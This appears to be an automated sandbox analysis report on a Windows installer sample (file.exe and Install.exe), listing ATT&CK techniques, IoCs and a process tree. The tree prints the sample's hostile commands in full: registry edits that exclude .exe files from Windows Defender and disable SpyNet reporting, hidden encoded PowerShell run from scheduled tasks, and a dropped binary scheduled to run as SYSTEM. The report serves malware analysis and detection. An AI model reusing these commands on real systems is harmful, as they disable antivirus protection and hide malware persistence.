a3264b5e44a76b86048741d7902a298a56c72da7ed384e5886103d310dfa1aab

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	Install.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bJbhxhmwQPPePEjnjA.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
4972	schtasks.exe
3652	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4460	powershell.EXE
4460	powershell.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4460	powershell.EXE

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 2440 wrote to memory of 4424	2440	file.exe	78
PID 2440 wrote to memory of 4424	2440	file.exe	78
PID 2440 wrote to memory of 4424	2440	file.exe	78
PID 4424 wrote to memory of 4932	4424	Install.exe	79
PID 4424 wrote to memory of 4932	4424	Install.exe	79
PID 4424 wrote to memory of 4932	4424	Install.exe	79
PID 4932 wrote to memory of 4636	4932	Install.exe	84
PID 4932 wrote to memory of 4636	4932	Install.exe	84
PID 4932 wrote to memory of 4636	4932	Install.exe	84
PID 4932 wrote to memory of 2668	4932	Install.exe	86
PID 4932 wrote to memory of 2668	4932	Install.exe	86
PID 4932 wrote to memory of 2668	4932	Install.exe	86
PID 4636 wrote to memory of 4596	4636	forfiles.exe	88
PID 4636 wrote to memory of 4596	4636	forfiles.exe	88
PID 4636 wrote to memory of 4596	4636	forfiles.exe	88
PID 4596 wrote to memory of 2256	4596	cmd.exe	89
PID 4596 wrote to memory of 2256	4596	cmd.exe	89
PID 4596 wrote to memory of 2256	4596	cmd.exe	89
PID 2668 wrote to memory of 4288	2668	forfiles.exe	90
PID 2668 wrote to memory of 4288	2668	forfiles.exe	90
PID 2668 wrote to memory of 4288	2668	forfiles.exe	90
PID 4596 wrote to memory of 1060	4596	cmd.exe	91
PID 4596 wrote to memory of 1060	4596	cmd.exe	91
PID 4596 wrote to memory of 1060	4596	cmd.exe	91
PID 4288 wrote to memory of 1776	4288	cmd.exe	92
PID 4288 wrote to memory of 1776	4288	cmd.exe	92
PID 4288 wrote to memory of 1776	4288	cmd.exe	92
PID 4288 wrote to memory of 952	4288	cmd.exe	93
PID 4288 wrote to memory of 952	4288	cmd.exe	93
PID 4288 wrote to memory of 952	4288	cmd.exe	93
PID 4932 wrote to memory of 4972	4932	Install.exe	95
PID 4932 wrote to memory of 4972	4932	Install.exe	95
PID 4932 wrote to memory of 4972	4932	Install.exe	95
PID 4932 wrote to memory of 5024	4932	Install.exe	97
PID 4932 wrote to memory of 5024	4932	Install.exe	97
PID 4932 wrote to memory of 5024	4932	Install.exe	97
PID 4460 wrote to memory of 4816	4460	powershell.EXE	103
PID 4460 wrote to memory of 4816	4460	powershell.EXE	103
PID 4932 wrote to memory of 1876	4932	Install.exe	108
PID 4932 wrote to memory of 1876	4932	Install.exe	108
PID 4932 wrote to memory of 1876	4932	Install.exe	108
PID 4932 wrote to memory of 3652	4932	Install.exe	111
PID 4932 wrote to memory of 3652	4932	Install.exe	111
PID 4932 wrote to memory of 3652	4932	Install.exe	111

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2440
- C:\Users\Admin\AppData\Local\Temp\7zS9ADD.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4424
- - C:\Users\Admin\AppData\Local\Temp\7zS9F52.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Checks computer location settings
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:4932
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4636
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4596
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:2256
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:1060
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2668
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4288
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:1776
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:952
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gyJKriUOc" /SC once /ST 18:59:46 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:4972
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gyJKriUOc"
      4⤵
      PID:5024
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gyJKriUOc"
      4⤵
      PID:1876
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bJbhxhmwQPPePEjnjA" /SC once /ST 22:05:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\SaglwRE.exe\" sw /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:3652

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4460
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:4816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:3812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:1956

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1760

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Credential Access

Discovery

Query Registry

System Information Discovery